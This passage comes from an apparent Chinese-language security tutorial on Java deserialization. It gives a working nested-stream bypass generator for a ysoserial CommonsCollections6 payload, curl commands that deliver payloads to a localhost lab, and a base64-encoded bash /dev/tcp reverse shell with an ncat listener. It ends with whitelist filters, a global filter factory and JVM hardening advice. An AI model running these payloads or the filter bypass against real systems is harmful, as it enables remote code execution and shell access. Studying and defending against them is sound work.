System.out.println(" java NestedBypassGenerator cc6_raw.bin nested_payload.txt");
return;
}
// 读取 ysoserial 生成的原始 Payload(二进制序列化流)
byte[] innerPayload;
try (FileInputStream fis = new FileInputStream(args[0])) {
innerPayload = fis.readAllBytes();
}
System.out.println("[*] 读取原始 Payload: " + innerPayload.length + " bytes");
// 构造 NestingWrapper 实例,将原始 Payload 设入 nestedPayload 字段
// 类名必须与靶场一致:com.vuln.deser.NestingWrapper
Object wrapper = Class.forName("com.vuln.deser.NestingWrapper")
.getDeclaredConstructor(byte[].class)
.newInstance((Object) innerPayload);
// 序列化 NestingWrapper
ByteArrayOutputStream baos = new ByteArrayOutputStream();
try (ObjectOutputStream oos = new ObjectOutputStream(baos)) {
oos.writeObject(wrapper);
}
// 输出 Base64
String base64 = Base64.getEncoder().encodeToString(baos.toByteArray());
try (FileWriter fw = new FileWriter(args[1])) {
fw.write(base64);
}
System.out.println("[+] 嵌套 Payload 已生成: " + args[1]);
System.out.println("[+] 输出大小: " + base64.length() + " chars (Base64)");
}
}为什么攻击机上也需要编译 NestingWrapper?
Java 序列化协议会将对象的全限定类名(
com.vuln.deser.NestingWrapper)和serialVersionUID写入序列化流。反序列化时,目标 JVM 根据流中的类名在自身 classpath 中查找对应的类。因此攻击机上编译的 NestingWrapper 必须与靶场的版本包名、类名、serialVersionUID 完全一致,否则会抛出InvalidClassException。
编译一份与靶场相同的 NestingWrapper(我直接复制靶场的 NestingWrapper.java 源码)
mkdir -p /tmp/exploit-build/src/com/vuln/deser
cat > /tmp/exploit-build/src/com/vuln/deser/NestingWrapper.java << 'JAVAEOF'
package com.vuln.deser;
import java.io.*;
public class NestingWrapper implements Serializable {
@Serial
private static final long serialVersionUID = 1L;
private byte[] nestedPayload;
public NestingWrapper() {}
public NestingWrapper(byte[] payload) { this.nestedPayload = payload; }
@Serial
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ois.defaultReadObject();
if (this.nestedPayload != null) {
try (ObjectInputStream innerOis = new ObjectInputStream(
new ByteArrayInputStream(this.nestedPayload))) {
innerOis.readObject();
}
}
}
}
JAVAEOF编译 NestingWrapper
javac -d /tmp/exploit-build/classes \
/tmp/exploit-build/src/com/vuln/deser/NestingWrapper.java生成原始 CC6 Payload
~/tools/ysoserial.sh CommonsCollections6 "id > /tmp/rce_proof.txt" > /tmp/cc6_raw.bin
编译 NestedBypassGenerator(需要 NestingWrapper 在 classpath 中)
javac -cp /tmp/exploit-build/classes \
-d /tmp/exploit-build/classes \
NestedBypassGenerator.java
生成嵌套 Payload
java -cp /tmp/exploit-build/classes com.sec.exploit.NestedBypassGenerator \
/tmp/cc6_raw.bin /tmp/nested_payload.txt
发送到黑名单过滤端点
curl -X POST http://127.0.0.1:8888/api/deserialize/blacklist \
-H "Content-Type: text/plain" \
-d @/tmp/nested_payload.txt
服务器端收到回显:

验证 RCE
ls -la /tmp/rce_proof
攻击流程全景图:

7.7 使用 Ncat 接收反弹 Shell
监听端口
ncat -lvnp 4444
Payload 使用 Bash 反弹 Shell:
echo -n 'bash -i >& /dev/tcp/127.0.0.1/4444 0>&1' | base64![]()
替换到 ysoserial 命令中:
~/tools/ysoserial.sh CommonsCollections6 \
"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" \
> /tmp/reverse_shell.bin
curl -X POST http://127.0.0.1:8888/api/deserialize/unsafe \
-H "Content-Type: text/plain" \
-d @/tmp/reverse_payload.txt
成功反弹 shell(到这里我才想起来我应该用 docker 搭建的,纯写蒙了。。。)

八、反序列化安全加固方案
白名单过滤器的正确实现
package com.myapp.security;
import java.io.ObjectInputFilter;
import java.util.List;
import java.util.Set;
/**
* 生产级白名单过滤器实现
* 原则:仅允许业务需要的类,拒绝一切未知类
*/
public class StrictDeserFilter implements ObjectInputFilter {
// 明确允许的业务类(按实际业务需求配置)
private static final Set<String> ALLOWED_CLASSES = Set.of(
"com.myapp.dto.UserDTO",
"com.myapp.dto.OrderDTO",
"com.myapp.dto.ResultWrapper"
);
// 允许的 JDK 基础类前缀
private static final List<String> ALLOWED_PREFIXES = List.of(
"java.lang.",
"java.util.",
"java.math."
// 注意:不要添加 java.security.(包含 SignedObject)
// 注意:不要添加 javax.management.(包含常见 Gadget 链组件)
);
// 资源限制——防御 DoS 型反序列化攻击
private static final int MAX_DEPTH = 5; // 对象图深度
private static final int MAX_REFS = 100; // 引用数量
private static final long MAX_BYTES = 1024 * 1024; // 1MB
private static final int MAX_ARRAY = 10000; // 数组长度
@Override
public Status checkInput(FilterInfo filterInfo) {
// 1. 资源限制检查(优先,防止资源耗尽攻击)
if (filterInfo.depth() > MAX_DEPTH) return Status.REJECTED;
if (filterInfo.references() > MAX_REFS) return Status.REJECTED;
if (filterInfo.streamBytes() > MAX_BYTES) return Status.REJECTED;
if (filterInfo.arrayLength() > MAX_ARRAY) return Status.REJECTED;
// 2. 类检查(serialClass 为 null 表示非类检查调用,放行)
Class<?> clazz = filterInfo.serialClass();
if (clazz == null) return Status.UNDECIDED;
String className = clazz.getName();
// 3. 精确匹配白名单
if (ALLOWED_CLASSES.contains(className)) return Status.ALLOWED;
// 4. 前缀匹配基础类
for (String prefix : ALLOWED_PREFIXES) {
if (className.startsWith(prefix)) return Status.ALLOWED;
}
// 5. 数组类型:检查元素类型
if (clazz.isArray()) {
Class<?> componentType = clazz.getComponentType();
if (componentType.isPrimitive()) return Status.ALLOWED;
// 非原始类型数组也需检查元素类型是否在白名单中
}
// 6. 默认拒绝——这是与黑名单策略的根本区别
System.err.println("[SECURITY] 反序列化过滤器拒绝: " + className);
return Status.REJECTED;
}
}全局过滤器工厂配置(防止嵌套流绕过)
package com.myapp.security;
import jakarta.annotation.PostConstruct;
import org.springframework.context.annotation.Configuration;
import java.io.ObjectInputFilter;
/**
* 在应用启动时注册全局过滤器工厂
* 确保所有 ObjectInputStream(包括嵌套创建的)都受到保护
*
* 这是防御 SignedObject 嵌套逃逸的关键措施
*/
@Configuration
public class DeserializationSecurityConfig {
@PostConstruct
public void configureSerialFilter() {
ObjectInputFilter globalFilter = new StrictDeserFilter();
// 设置 JVM 全局过滤器
ObjectInputFilter.Config.setSerialFilter(globalFilter);
// 设置过滤器工厂,强制所有流继承全局过滤器
// 注意:setSerialFilterFactory 在 JVM 生命周期内只能调用一次
ObjectInputFilter.Config.setSerialFilterFactory((current, requested) -> {
if (requested == null) return globalFilter;
// 合并策略:全局过滤器优先
// merge() 在 JDK 17+ 可用,内部逻辑:
// 先执行 globalFilter.checkInput(),若返回 UNDECIDED 则执行 requested
return ObjectInputFilter.merge(globalFilter, requested);
});
System.out.println("[SECURITY] 全局反序列化过滤器和工厂已注册");
}
}依赖治理检查
检查项 | 检查命令 | 安全操作 |
Commons Collections < 3.2.2 |
| 升级到 3.2.2+( |
Commons Collections4 < 4.1 | 同上 | 升级到 4.1+( |
Commons BeanUtils 与 CC 共存 |
| 评估是否可移除 BeanUtils 或 CC |
H2 Database 1.4.x 用于生产 | 检查 pom.xml 和运行时 classpath | 升级到 2.x 或移除(仅用于测试) |
外部 Xalan-J 在 classpath 中 |
| 评估是否可用 JDK 内置 XML 处理替代 |
启动参数含 | 检查启动脚本和 Dockerfile | 移除不必要的模块开放 |
Jackson Databind < 2.15 | 检查版本 | 升级到最新稳定版 |
JVM 启动参数加固
# 生产环境推荐的 JVM 安全参数
java \
# 全局序列化过滤器(作为最后防线,即使代码层过滤器未正确配置也生效)
-Djdk.serialFilter="com.myapp.**;java.base/*;!*" \
# 禁止 JNDI 远程类加载(JDK 21 默认已禁用,显式声明增加确定性)
-Dcom.sun.jndi.rmi.object.trustURLCodebase=false \
-Dcom.sun.jndi.ldap.object.trustURLCodebase=false \
# 不添加任何 --add-opens(保持模块系统封装完整性)
-jar application.jar单独依赖
ObjectInputFilter是不够的——正如本文所展示的,嵌套流可以绕过它,黑名单可以被穷举,未覆盖的第三方库提供新的 Sink。有效的防御是分层的:从消除入口(不反序列化不可信数据)到过滤策略(白名单而非黑名单),从依赖治理(移除危险库)到平台加固(保持模块封装),每一层都在缩小攻击面。
九、总结
消除反序列化入口——使用 JSON、Protobuf 等不支持任意对象实例化的序列化格式替代 Java 原生序列化。
免责声明:本文所有实验均在隔离的测试环境中完成,仅用于安全研究与技术交流。请勿将文中技术用于未授权的渗透测试。未经授权对他人系统进行渗透测试属于违法行为。
